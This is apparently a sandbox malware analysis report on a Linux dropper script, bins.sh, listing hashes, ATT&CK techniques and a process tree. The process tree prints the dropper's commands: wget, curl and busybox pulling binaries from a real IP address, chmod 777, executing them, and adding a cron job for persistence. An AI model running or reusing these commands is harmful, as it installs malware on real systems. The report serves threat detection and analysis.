79a961f7595bdf14bb3eb3d25a5f95782a790d348f7ac8ba4204297b57d3f315

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/11/2024, 13:37

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General

Target
bins.sh
Size 10KB
Sample241103-qws8aavgnb
SHA256 79a961f7595bdf14bb3eb3d25a5f95782a790d348f7ac8ba4204297b57d3f315
MD5 99b0a537ad9909119323b8d9093d4e94
SHA1 47f24eb8fd0f551a3928fea3411319be4867f89a
SHA512 83ae34802022187d772d2e246864b5389a4749ae5f34dd1b2954bdbe830911b5d7a2da837bebe11d900557e3eb82b23961bfb95976f61a16786f3de58b71433b
SSDEEP 192:BRt43XjNN+JNx1LhhcVB8mae5wQMki4xNN+JNTvhhcVBtae5wQiRt43XI:BRt43XjNN+JNx1tXki4xNN+JNTDRt434
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1854) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
760	chmod
767	chmod
676	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO	677	lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
/tmp/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys	761	Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44	768	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44

Renames itself 1 IoCs

pid	Process
769	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.WZDWwX	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/5/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/288/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/839/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/12/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/651/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/894/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/919/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/1008/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/876/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/13/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/107/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/644/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/785/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/794/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/819/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/822/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/15/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/28/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/645/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/774/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/788/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/799/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/928/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/826/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/917/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/1014/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/1011/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/268/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/796/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/843/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/845/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/880/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/927/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/960/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/806/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/900/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/988/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/7/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/797/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/953/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/970/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/1020/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/9/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/837/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/875/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/909/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/916/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/1007/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/3/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/578/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/707/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/809/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/838/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/945/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/1003/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/1023/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/963/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/302/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/810/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/811/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/840/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
File opened for reading	/proc/939/cmdline	k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO	busybox
File opened for modification	/tmp/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys	wget
File opened for modification	/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44	wget
File opened for modification	/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44	curl
File opened for modification	/tmp/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO	wget
File opened for modification	/tmp/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys	curl
File opened for modification	/tmp/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys	busybox
File opened for modification	/tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44	busybox
File opened for modification	/tmp/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://87.120.84.230/bins/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:673
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
  2⤵
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod 777 lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
  ./lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
  2⤵
  - Executes dropped EXE
  PID:677
- /bin/rm
  rm lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
  2⤵
  PID:680
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
  2⤵
  - Writes file to tmp directory
  PID:682
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
  ./Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
  2⤵
  PID:763
- /usr/bin/wget
  wget http://87.120.84.230/bins/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
  2⤵
  - Writes file to tmp directory
  PID:764
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
  ./k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:768
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:770
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:771
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:772
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:773
- /bin/rm
  rm k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
  2⤵
  PID:775
- /usr/bin/wget
  wget http://87.120.84.230/bins/NyMVVxMlkXBLSXxbbLo74gFLN8guDwph9d
  2⤵
  PID:778

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys

Path /tmp/Dqq4ar4kvW6h1hNPHQtQWcKevZo4vyLFys
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44

Path /tmp/k1l22Z6gKgXPE1tN9Ynyy0WNW15Tg2eA44
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

Submit Download

lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO

Path /tmp/lgqRVSn6btr5xRsREtX1ycY3TV8pyP6RrO
Size 99KB
SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
MD5 9438d9bc392bcf300a5583b6df5bc8f6
SHA1 375a6ae34b516f6f3eeea8030c4084f585017efa
SHA512 1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
SSDEEP 3072:kFPlxndf22h/xwXnTkai7MYRApCg9dgdmk1b5wdL35sPX:kZlxndf8nTqtS/9dgdmk1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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tmp.WZDWwX

Path /var/spool/cron/crontabs/tmp.WZDWwX
Size 210B
SHA256 f14e70a03e861f4b35eefbe4c71e7d22abacb3b798db868c8feaa70248e20139
MD5 c79d49f229f668a2f28a140011fd4083
SHA1 91a4cbae35685268b0cdd089133f4f9ead59bed0
SHA512 ae538f6787c1748bf2deedb1afa831bb2780f3b83866eb2d80c34131998915ac70f536e6a576af3e5916cd7266a41b686859ea50c0b107e6b61b8dbb03c142d2
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads